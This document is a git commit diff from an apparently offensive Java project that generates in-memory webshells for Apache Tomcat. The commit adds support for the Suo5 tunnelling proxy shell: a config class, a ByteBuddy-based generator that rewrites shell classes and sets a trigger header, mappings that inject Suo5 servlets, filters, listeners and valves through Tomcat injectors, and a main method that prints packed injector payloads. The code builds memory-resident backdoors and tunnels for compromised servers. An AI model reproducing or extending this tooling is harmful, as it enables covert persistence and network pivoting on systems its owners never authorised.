feat: support tomcat suo5 shell

This commit is contained in:
ReaJason
2025-02-15 13:50:04 +08:00
parent e811ca56ae
commit 45dc276300
36 changed files with 2749 additions and 108 deletions
@@ -1,7 +1,6 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.SpringWebFluxShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.utils.CommonUtil;
@@ -21,7 +20,7 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellTool(ShellTool.Suo5)
.shellType(Constants.FILTER)
.targetJreVersion(Opcodes.V1_8)
.debug(true)
@@ -38,14 +37,18 @@ public class GeneratorMain {
.headerName("User-Agent")
.headerValue("test").build();
Suo5Config suo5Config = Suo5Config.builder()
.headerName("User-Agent")
.headerValue("test").build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
GenerateResult generateResult = generate(shellConfig, injectorConfig, suo5Config);
if (generateResult != null) {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packers.MVEL.getInstance().pack(generateResult));
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
}
}
@@ -1,10 +1,7 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.BehinderGenerator;
import com.reajason.javaweb.memshell.generator.CommandGenerator;
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -74,12 +71,17 @@ public abstract class AbstractShell {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
case Behinder -> getBehinderShellMap();
default -> Collections.emptyMap();
case Suo5 -> getSuo5ShellMap();
default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
};
return shellMap.get(shellType);
}
@@ -89,6 +91,7 @@ public abstract class AbstractShell {
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
@@ -12,11 +12,15 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -81,4 +85,18 @@ public class TomcatShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
return map;
}
}
@@ -18,5 +18,10 @@ public enum ShellTool {
/**
* 冰蝎
*/
Behinder
Behinder,
/**
* Suo5 隧道代理
*/
Suo5,
}
@@ -0,0 +1,21 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/2/12
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class Suo5Config extends ShellToolConfig {
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -0,0 +1,65 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Map;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5Generator {
private final ShellConfig shellConfig;
private final Suo5Config suo5Config;
public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
this.shellConfig = shellConfig;
this.suo5Config = suo5Config;
}
public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(suo5Config.getShellClass())
.name(suo5Config.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"headerName", suo5Config.getHeaderName(),
"headerValue", suo5Config.getHeaderValue()
))
);
} else {
builder = builder
.field(named("headerName")).value(suo5Config.getHeaderName())
.field(named("headerValue")).value(suo5Config.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}